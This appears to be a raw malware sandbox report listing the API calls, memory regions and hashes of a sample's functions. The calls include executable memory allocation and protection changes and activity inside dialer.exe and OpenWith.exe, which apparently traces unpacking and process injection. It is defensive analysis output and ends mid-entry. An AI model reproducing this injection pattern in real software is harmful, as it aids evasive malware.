CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 0040178E

Part of subcall function 004010BC: GetProcessHeap.KERNEL32(00000000,3B9ACA00,76ED5E70,?,00000000), ref: 004010CE
Part of subcall function 004010BC: RtlAllocateHeap.NTDLL(00000000), ref: 004010D5
Part of subcall function 004010BC: memset.MSVCRT ref: 004010F0
Part of subcall function 004010BC: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401103
Part of subcall function 004010BC: wcsrchr.MSVCRT ref: 00401115
Part of subcall function 004010BC: wcschr.MSVCRT ref: 00401126
Part of subcall function 004010BC: lstrlenW.KERNEL32(00000002), ref: 00401138
Part of subcall function 004010BC: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040116E
Part of subcall function 004010BC: RtlFreeHeap.NTDLL(00000000), ref: 00401175
Part of subcall function 004010BC: MulDiv.KERNEL32(00000001,80000000,80000000), ref: 0040118B

memcpy.MSVCRT ref: 00401C4A

Part of subcall function 004011B7: HeapAlloc.KERNEL32(00000002,00000008,?,00000000,00000000,00437838,?,0004B000,?,0045E92C,0043761C,00437620,?,00463760,?), ref: 0040122C
Part of subcall function 004011B7: qsort.MSVCRT ref: 00401262

HeapAlloc.KERNEL32(?,00000008,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00401CF2
memcpy.MSVCRT ref: 00401D10
GetProcessHeap.KERNEL32(00000008,?), ref: 00401D8A
RtlAllocateHeap.NTDLL(00000000), ref: 00401D91
memcpy.MSVCRT ref: 00401DB5
GetProcessHeap.KERNEL32(00000008,?), ref: 00401DD1
HeapAlloc.KERNEL32(00000000), ref: 00401DD8
memcpy.MSVCRT ref: 00401DFC
HeapFree.KERNEL32(?,00000000,00000000), ref: 00401E82
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00401E91
FindCloseChangeNotification.KERNELBASE(00000000,?,00000000), ref: 00401E99
VirtualFree.KERNELBASE(?,00000000,00008000,?,00000000), ref: 00401EDC
GetProcessHeap.KERNEL32(00000000,?,?,00000000), ref: 00401EE0
HeapFree.KERNEL32(00000000,?,00000000), ref: 00401EE7
HeapDestroy.KERNELBASE(?,?,00000000), ref: 00401EF9

Strings

Roland GS Sound Set/Microsoft (P) 1996 Roland Corporation, xrefs: 00401CDD

Memory Dump Source

Source File: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID: Heap$AllocProcess$Freememcpy$AllocateCreateModule$ChangeCloseDestroyEventFileFindHandleNameNotificationObjectSingleVirtualWaitlstrlenmemsetqsortwcschrwcsrchr
String ID: Roland GS Sound Set/Microsoft (P) 1996 Roland Corporation
API String ID: 1855994165-2110447102
Opcode ID: 95b067defb8e7788ac421b5db8a4252be51f2dc5013f1dc4bc4c3b76cdd4333f
Instruction ID: e6ed384bc7522e8d64d493b58d71f9e4bf4ed25bcd1e2857cb65b2522875366d
Opcode Fuzzy Hash: 95b067defb8e7788ac421b5db8a4252be51f2dc5013f1dc4bc4c3b76cdd4333f
Instruction Fuzzy Hash: BA2229B09003589FDF20CF55D8886DEBBB4FF05308F50C59AE958AB251D7B89988CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00426752 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 0042677F
__p__fmode.MSVCRT ref: 00426794
__p__commode.MSVCRT ref: 004267A2
__setusermatherr.MSVCRT ref: 004267CE
_initterm.MSVCRT ref: 004267E4
__getmainargs.MSVCRT ref: 00426807
_initterm.MSVCRT ref: 00426817
GetStartupInfoA.KERNEL32(?), ref: 00426856
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0042687A
exit.KERNELBASE ref: 0042688A
_XcptFilter.MSVCRT ref: 0042689C

Memory Dump Source

Source File: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: a600c29358a83bf3e3a0c2a34470da710afaad8f576cc2ca437c8d0fb9f9bdcc
Instruction ID: 2af1fabe759db16659c1714faf7b050cbede8da2aac89c30fce1f674cf7363d0
Opcode Fuzzy Hash: a600c29358a83bf3e3a0c2a34470da710afaad8f576cc2ca437c8d0fb9f9bdcc
Instruction Fuzzy Hash: FF41CFB1945318AFD724AFA4EC44AAE7BB8FB09310F61052FF481973A1DB784844CB18

Uniqueness

Uniqueness Score: -1.00%

Function 004010BC Relevance: 15.1, APIs: 10, Instructions: 89
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,3B9ACA00,76ED5E70,?,00000000), ref: 004010CE
RtlAllocateHeap.NTDLL(00000000), ref: 004010D5
memset.MSVCRT ref: 004010F0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401103
wcsrchr.MSVCRT ref: 00401115
wcschr.MSVCRT ref: 00401126
lstrlenW.KERNEL32(00000002), ref: 00401138
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040116E
RtlFreeHeap.NTDLL(00000000), ref: 00401175
MulDiv.KERNEL32(00000001,80000000,80000000), ref: 0040118B

Memory Dump Source

Source File: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID: Heap$Process$AllocateFileFreeModuleNamelstrlenmemsetwcschrwcsrchr
String ID:
API String ID: 1944225962-0
Opcode ID: 906cdbb0335836baebe7a8637fe032b38313d4bad67f20e671eec4654c8f7c37
Instruction ID: 372bdeaae208f2a65c8f4c8f647d4b60612670efb8016d708d9e329161af488d
Opcode Fuzzy Hash: 906cdbb0335836baebe7a8637fe032b38313d4bad67f20e671eec4654c8f7c37
Instruction Fuzzy Hash: 0521D7B12443056BE7386B74BCCCB7B37ACDB49351F10043AF642EA1E1D67E8C848669

Uniqueness

Uniqueness Score: -1.00%

Function 004272CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?,?,0000000B), ref: 00427311

Part of subcall function 00427098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
Part of subcall function 00427098: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004,?,?,?,00000000,?,?,0000000B), ref: 00427363
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C,00000000,00000000,?,?,0000000B), ref: 004273BD
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,00000000,?,?,0000000B), ref: 004273F0

Strings

,, xrefs: 00427341

Memory Dump Source

Source File: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction ID: 04cd73393287483ba110226213723f2bc03cf9cbeca2a68a19bb02d12f4ffc40
Opcode Fuzzy Hash: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction Fuzzy Hash: B6411CB5A0031AAFCB10DFA9D881A9EBBF4FF08354F50851AF959A7240D374E954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004272CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 00427311

Part of subcall function 00427098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
Part of subcall function 00427098: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 00427363
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 004273BD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004273F0

Strings

,, xrefs: 00427341

Memory Dump Source

Source File: 00000000.00000003.1713910319.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_427000_e7CLP6462y.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction ID: 04cd73393287483ba110226213723f2bc03cf9cbeca2a68a19bb02d12f4ffc40
Opcode Fuzzy Hash: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction Fuzzy Hash: B6411CB5A0031AAFCB10DFA9D881A9EBBF4FF08354F50851AF959A7240D374E954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00427098 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 163
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

Strings

8sB, xrefs: 0042720E, 004271FC, 00427203

Memory Dump Source

Source File: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: 8sB
API String ID: 2087232378-1241081779
Opcode ID: c4e05415e69c24d916c032145dcef53eb47034c17d4a44e0f4697a572808d492
Instruction ID: ebe234c56d8c58d72e37663f9a88e747cece982d06593baa1cabaf23eeb3f041
Opcode Fuzzy Hash: c4e05415e69c24d916c032145dcef53eb47034c17d4a44e0f4697a572808d492
Instruction Fuzzy Hash: E8719C71A08259DFCB41CF98D981BEEBBF0AF09314F244096E465F7241C238AA91DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00427098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

Memory Dump Source

Source File: 00000000.00000003.1713910319.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_427000_e7CLP6462y.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: ebe234c56d8c58d72e37663f9a88e747cece982d06593baa1cabaf23eeb3f041
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: E8719C71A08259DFCB41CF98D981BEEBBF0AF09314F244096E465F7241C238AA91DB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040154C Relevance: 1.4, APIs: 1, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00401650

Memory Dump Source

Source File: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d2421ea19b4a725958ac927618e99585cc700f232b16d99eb6e1c76c4d96c486
Instruction ID: 600399cc0b1a97e0ffc261b64cf7c1b6dc3adaa29b257126ebf245f373547d4b
Opcode Fuzzy Hash: d2421ea19b4a725958ac927618e99585cc700f232b16d99eb6e1c76c4d96c486
Instruction Fuzzy Hash: 4251D431A042A48FC715CF7DCC9059ABFE1AF8A250B0EC5B9DC98DB342D135EA06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00427277 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1718450874.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1718407353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718425475.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718520985.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1718576064.0000000000489000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_e7CLP6462y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: 5d277d668d82bdf6a9525313400d50b0c6b612bcce4ffb7544bff64ac8cac9b2
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: ECF0C279B04210CF8714CF09E544E9677F6EB917107A545D6F0049B321D3B4DD44CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 00427277 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1713910319.0000000000427000.00000040.00000001.01000000.00000003.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_427000_e7CLP6462y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: 5d277d668d82bdf6a9525313400d50b0c6b612bcce4ffb7544bff64ac8cac9b2
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: ECF0C279B04210CF8714CF09E544E9677F6EB917107A545D6F0049B321D3B4DD44CBB9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dialer.exePID: 7144, Parent PID: 3384COMMON

Executed Functions

Function 02B402D4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 02B4031C

Part of subcall function 02B400A0: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02B400C9
Part of subcall function 02B400A0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02B40275

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 02B4036E
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 02B403DD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02B403FD
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 02B40424
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02B4044C
FindCloseChangeNotification.KERNELBASE(?), ref: 02B40467

Strings

,, xrefs: 02B4034C

Memory Dump Source

Source File: 00000001.00000003.1718175753.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_2b40000_dialer.jbxd

Similarity

API ID: Virtual$Alloc$Free$ChangeCloseFileFindNotificationProtectView
String ID: ,
API String ID: 2870039258-3772416878
Opcode ID: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction ID: 59722de4305d987690473ce885394788403cf1d81d7b68542547a4c00601c646
Opcode Fuzzy Hash: 82e5e3048abb205ecfbadfcc4accb215ed5bf30bd6965aeddf34148881449b51
Instruction Fuzzy Hash: 2C510EB5900209EFCB14DFA9C8C4A9EBBB9FF08354F54C869FA55A7240D770A941DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02B400A0 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02B400C9
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02B40275

Memory Dump Source

Source File: 00000001.00000003.1718175753.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_2b40000_dialer.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: e10006b462e51fa335367088878d3ec05b51298c3c6008e3d8b05b4131133e8e
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: 9B71AA71E042499FCB45DF98C981BEDBBF0AF09314F144895EAA1FB281C734AA81DF64

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: OpenWith.exePID: 6300, Parent PID: 3384COMMON

Execution Graph

Execution Coverage:	34.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	73.3%
Total number of Nodes:	30
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007DF486EE92CC Relevance: 30.3, APIs: 14, Strings: 3, Instructions: 544nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE93A2
_calloc_dbg.MSVCRT ref: 00007DF486EE93BF
DuplicateHandle.KERNELBASE ref: 00007DF486EE9454
NtAcceptConnectPort.NTDLL ref: 00007DF486EE94FF
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EE9517
NtAcceptConnectPort.NTDLL ref: 00007DF486EE9558
NtAcceptConnectPort.NTDLL ref: 00007DF486EE9597
NtAcceptConnectPort.NTDLL ref: 00007DF486EE95DE
NtAcceptConnectPort.NTDLL ref: 00007DF486EE961B
NtAcceptConnectPort.NTDLL ref: 00007DF486EE96A1
NtAcceptConnectPort.NTDLL ref: 00007DF486EE9700
NtAcceptConnectPort.NTDLL ref: 00007DF486EE97E6
NtAcceptConnectPort.NTDLL ref: 00007DF486EE9820
NtAcceptConnectPort.NTDLL ref: 00007DF486EE984D

Strings

H, xrefs: 00007DF486EE9783
H, xrefs: 00007DF486EE9768
,, xrefs: 00007DF486EE93D2

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$??3@DuplicateHandle_calloc_dbg
String ID: ,$H$H
API String ID: 141388682-438696205
Opcode ID: 67510fd6fdd56d9b96e64f6ba96e117005d354361ef70f9a43da91e85e8a0e9e
Instruction ID: 0649cc2d8a01ccf5cc6555dc544d89cf43f3f190e4a96b42a62e5c5b3fa3cf74
Opcode Fuzzy Hash: 67510fd6fdd56d9b96e64f6ba96e117005d354361ef70f9a43da91e85e8a0e9e
Instruction Fuzzy Hash: 85029530A1CE888BD764DF58D8856BAB3E1FB98311F50053EE58FC3291DA74E9458B86

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE9AF4 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 156nativeCOMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF486EE9B1A
NtAcceptConnectPort.NTDLL ref: 00007DF486EE9BC3
NtAcceptConnectPort.NTDLL ref: 00007DF486EE9C84
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EE9C89

Strings

0, xrefs: 00007DF486EE9B66
, xrefs: 00007DF486EE9BB3
@, xrefs: 00007DF486EE9B7C

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$??3@_malloc_dbg
String ID: $0$@
API String ID: 2460957884-2347541974
Opcode ID: 2346e1dea013211445be7b298a3f58cd395ddeb762ee424c6c2405f2dc5af54b
Instruction ID: 2313d1752ab544d3a2c474e326f11751aa387938f5fd21635978bdb4bfca8beb
Opcode Fuzzy Hash: 2346e1dea013211445be7b298a3f58cd395ddeb762ee424c6c2405f2dc5af54b
Instruction Fuzzy Hash: 68516470A2C7888FD7A4EF54D4857AA77E0FB89314F50452EE48EC6241DB78E8858B83

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BCD30C7 Relevance: 10.9, APIs: 7, Instructions: 390memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 000002427BCD3810
RtlAllocateHeap.NTDLL ref: 000002427BCD386D
NtAcceptConnectPort.NTDLL ref: 000002427BCD3957
NtAcceptConnectPort.NTDLL ref: 000002427BCD39E4
NtAcceptConnectPort.NTDLL ref: 000002427BCD3AA3
RtlDeleteBoundaryDescriptor.NTDLL ref: 000002427BCD3AC0
RtlDeleteBoundaryDescriptor.NTDLL ref: 000002427BCD3AD2

Memory Dump Source

Source File: 00000002.00000003.1803813855.000002427BCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2427bcd0000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort$AllocateBoundaryDeleteDescriptorHeap
String ID:
API String ID: 3472209132-0
Opcode ID: 06103e6240192ff0ea4d22a768af3a34bd3b5889dbd62609acb6a2f682bb8b02
Instruction ID: cba06936feb4f8e70f16b34dd0045a7287c76cb7f29545d6fc546883e7e43e04
Opcode Fuzzy Hash: 06103e6240192ff0ea4d22a768af3a34bd3b5889dbd62609acb6a2f682bb8b02
Instruction Fuzzy Hash: C8C17230618B098FDB58EF1AD489B69BBE1FFD4314F40852EF49AC7246DB34E8498781

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED5BD8 Relevance: 8.2, APIs: 5, Instructions: 747COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF486EC39D4: _malloc_dbg.MSVCRT ref: 00007DF486EC39FD

_calloc_dbg.MSVCRT ref: 00007DF486ED5E3A
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486ED5EA1
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486ED62A0
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486ED638E
VirtualFree.KERNELBASE ref: 00007DF486ED63E0

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@$FreeVirtual_calloc_dbg_malloc_dbg
String ID:
API String ID: 2435629650-0
Opcode ID: aae81571bd27c63e3009cb726d59ebe1a4043ba694c735212d7732e4a1a5a2b6
Instruction ID: ccdd7c44bea6996d45cd529d7699e580d8f90a698d6443f0ab920fd8baa787e7
Opcode Fuzzy Hash: aae81571bd27c63e3009cb726d59ebe1a4043ba694c735212d7732e4a1a5a2b6
Instruction Fuzzy Hash: 9B422E30518E488FEBA5EF28D889AAAB7E1FF58710F50462AD05FC7251DF34E945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE9CA0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE9D6E

Strings

0, xrefs: 00007DF486EE9D0C
@, xrefs: 00007DF486EE9D22
, xrefs: 00007DF486EE9D5E

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID: $0$@
API String ID: 1658770261-2347541974
Opcode ID: 2efbfb43f5b264e98edc7990400f44a606071b03ecf31d8e2d45c18cdd4aafd7
Instruction ID: 0d0d06cc25e523014a8375be1946bb8cc3d4f88467cbb0a9aef6f693f4af31a2
Opcode Fuzzy Hash: 2efbfb43f5b264e98edc7990400f44a606071b03ecf31d8e2d45c18cdd4aafd7
Instruction Fuzzy Hash: E5513D7060CB898FE7A4DF98D8847ABB7E5FB94351F50452EE58EC3260DB74D8448B42

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB71CD0 Relevance: 4.8, APIs: 3, Instructions: 278
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL ref: 000002427BB71E6B
NtAcceptConnectPort.NTDLL ref: 000002427BB71F6E
FindCloseChangeNotification.KERNELBASE ref: 000002427BB71F77

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

API ID: AcceptAllocateChangeCloseConnectFindHeapNotificationPort
String ID:
API String ID: 3171316915-0
Opcode ID: 2998f17752da19f3229414bc30af807452c20e21bc577cde4fa90f5802e493a5
Instruction ID: 9860412d8631f5d4bef222db8073dc2c183c6516edb2df4ca71af278fb73660b
Opcode Fuzzy Hash: 2998f17752da19f3229414bc30af807452c20e21bc577cde4fa90f5802e493a5
Instruction Fuzzy Hash: BA91F530508E098FDB64EF19C885BE5B7E0FB84314F90565FEC8BC7696DA34A9468B90

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB71A90 Relevance: 4.6, APIs: 3, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000002427BB71AD5

Part of subcall function 000002427BB7185C: GetProcessMitigationPolicy.KERNELBASE ref: 000002427BB7192F

NtAcceptConnectPort.NTDLL ref: 000002427BB71BCF
RtlAddVectoredExceptionHandler.NTDLL ref: 000002427BB71BEA

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

